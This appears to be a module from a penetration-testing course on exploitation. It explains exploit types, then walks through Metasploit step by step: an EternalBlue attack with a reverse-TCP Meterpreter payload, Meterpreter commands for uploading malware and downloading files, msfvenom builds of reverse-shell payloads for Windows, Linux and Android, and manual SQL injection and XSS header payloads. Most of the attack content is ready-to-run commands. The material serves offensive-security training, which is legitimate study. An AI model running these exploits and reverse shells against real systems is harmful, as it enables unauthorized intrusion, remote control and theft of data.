EXPLOITATION

MODULE 5 — EXPLOITATION (FULL PROFESSIONAL MODULE)

Exploitation is the phase where the pentester **uses discovered vulnerabilities** to gain access to systems, bypass security, or execute commands.

This module teaches:

- How exploits work
- Automated exploitation
- Manual exploitation
- Real-world attack chains
- Tools, commands, payload crafting

■ 5.1 What is Exploitation?

Exploitation is the process of using a vulnerability to:

- Execute commands
- Gain remote access
- Bypass authentication
- Damage confidentiality, integrity, availability
- Steal data
- Pivot deeper into the network

Exploits can be:

- **Remote Code Execution (RCE)**
- **Privilege Escalation**
- **Authentication Bypass**
- **Buffer Overflows**

- **Web Injection Exploits**
- **Misconfigurations**
- **Zero-days**

■ 5.2 Types of Exploits

1️⃣ Remote Exploits

Attack a service over the network.

Example: EternalBlue (SMB RCE).

2️⃣ Local Exploits

Requires access to the machine.

Example: Linux SUID privilege escalation.

3️⃣ Client-side Exploits

Target user applications.

Example: Malicious PDF exploit.

4️⃣ Web Exploits

SQL Injection, XSS, RCE through web apps.

TOOL MASTER: METASPLOIT (FULL EXPLANATION + COMMANDS)

Metasploit is the world's most used exploitation framework.

✔ 5.3 How Metasploit Works (Internal Architecture)

Metasploit has:

- **Modules**
  - exploits
  - payloads
  - auxiliary
  - post
  - encoders
  - nops
  - evasion
- **Databases (loot, hosts, services)**
- **Payload handler**
- **Meterpreter shell**

✔ Launch Metasploit

```
msfconsole
```

✔ 5.4 Finding Exploits

Search by service:

```
search smb
```

Search by CVE:

```
search cve:2017-0144
```

✔️ 5.5 Using an Exploit

```
use exploit/windows/smb/ms17_010_eternalblue
```

✔️ 5.6 Set Required Options

```
set RHOSTS 10.10.10.5
set RPORT 445
set LHOST 10.10.14.28
```

✔️ 5.7 Select Payload

Payload = what you want after successful exploit.

Reverse shell:

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

✔️ 5.8 Run Exploit

```
exploit
```

Once successful, you get a **Meterpreter shell**.

5.9 Meterpreter Commands (Explained Professionally)

✔️ System Info

```
sysinfo
```

✔️ List processes

```
ps
```

✔️ Migrate to another process

```
migrate <pid>
```

✔️ Screenshot

```
screenshot
```

✔️ File upload / download

```
upload /root/malware.exe C:\\Windows
download secret.txt
```

MODULE 5.10 — Manual Exploitation (Very Important)

Automated exploitation is not enough.

Real pentesters must know manual exploitation.

✔ Example 1 — HTTP Header Injection (Manual)

Check server:

```
curl -I http://target.com
```

Send malicious header:

```
curl -H "X-Forwarded-For: <script>alert(1)</script>" http://target.com
```

Example 2 — SQL Injection (Manual)

Find injection point:

```
http://target.com/product?id=10'
```

Test manually:

```
' OR '1'='1
```

Enumerate tables:

```
' UNION SELECT 1, table_name FROM information_schema.tables --
```

Example 3 — SMB Exploitation (Manual)

Using `smbclient`:

```
smbclient -L //10.10.10.5 -N
```

Mount:

```
mount -t cifs //10.10.10.5/share /mnt/share -o guest
```

MODULE 5.11 — Payload Generation (msfvenom FULL DETAILS)

✔ Generate Windows EXE Payload

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe > payload.exe
```

✔ Generate Linux ELF Payload

```
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f elf > payload.elf
```

✔️ Generate Android APK Payload

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -o app.apk
```

MODULE 5.12 — Real-World Exploitation Workflow

Step 1 — Identify vulnerability

Example: SMBv1 enabled (MS17-010).

Step 2 — Verify manually

```
nmap --script smb-vuln-ms17-010 10.10.10.5
```

Step 3 — Select exploit

```
use exploit/windows/smb/ms17_010_eternalblue
```

Step 4 — Configure payload

Reverse shell.

Step 5 — Gain access

Meterpreter.

Step 6 — Pivot deeper

Use post-exploitation tools.